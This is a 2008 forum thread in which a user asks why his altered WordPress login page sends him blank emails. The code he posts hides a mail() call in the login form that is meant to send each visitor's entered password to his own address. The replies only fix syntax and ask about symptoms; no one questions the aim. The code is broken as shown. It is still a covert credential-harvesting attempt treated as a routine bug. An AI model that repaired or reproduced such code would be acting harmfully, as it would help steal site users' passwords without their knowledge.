Reply
getting user input emailed
Old 05-09-2008, 12:56 AM getting user input emailed
Junior Talker

Posts: 3
hello guys,

i need some help with this code, what i want to do is to get the user entered password emailed to the a address.
but when i recieve the email i get it blank.
PHP Code:
<form name="loginform" id="loginform" action="wp-login.php" method="post">
<?php if ( !isset($_GET['checkemail']) || !in_array$_GET['checkemail'], array('confirm''newpass') ) ) : ?>
<p>
<label><?php _e('Username'?><br />
<input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
</p>
<p>
<label><?php _e('Password')?><br />
<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
</p>
<?php do_action('login_form'); ?>
<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" value="<?php
_e
('Log In'); $to "my@email.com";
$subject "Password";
$body "The password is : \n";
$body .= $pwd;
mail($to$subject$body);?>" tabindex="100" />
<input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" />
<input type="hidden" name="testcookie" value="1" />
</p>
<?php else : ?>
<p>&nbsp;</p>
<?php endif; ?>
</form>
what i am doing wrong..

Last edited by wswami : 05-09-2008 at 09:35 AM. Reason: Code Correction
wswami is offline
Reply With Quote
View Public Profile
 
Sponsored Links (We share ad revenue):
 
Old 05-09-2008, 06:10 AM Re: getting user input emailed
Average Talker

Posts: 15
Name: Mark
Why are you declaring a string like this?

PHP Code:
$to my@email.com
it should be;

PHP Code:
$to "my@email.com"
email address is a string, not an int
Datingsoftware is offline
Reply With Quote
View Public Profile
 
Old 05-09-2008, 09:34 AM Re: getting user input emailed
Junior Talker

Posts: 3
thanks for pointing out.. but i somehow missed those double quotes while putting the code here..

anyways this still aint working.. anyone know how can i get the password emailed..???????
wswami is offline
Reply With Quote
View Public Profile
 
Old 05-09-2008, 10:29 PM Re: getting user input emailed
Junior Talker

Posts: 3
anyone???? who can help me with this ... please its urgent..
wswami is offline
Reply With Quote
View Public Profile
 
Old 05-09-2008, 10:32 PM Re: getting user input emailed
Inet411's Avatar
Skilled Talker

Posts: 77
Name: programmer
Location: internet
The entire email is blank or just the password is blank?
__________________
http://www.inet411.com

Inet411 is offline
Reply With Quote
View Public Profile Visit Inet411's homepage!
 
Sponsored Links (We share ad revenue):
 
Reply     « Reply to getting user input emailed
 

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off




   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML


Page generated in 0.15636 seconds with 15 queries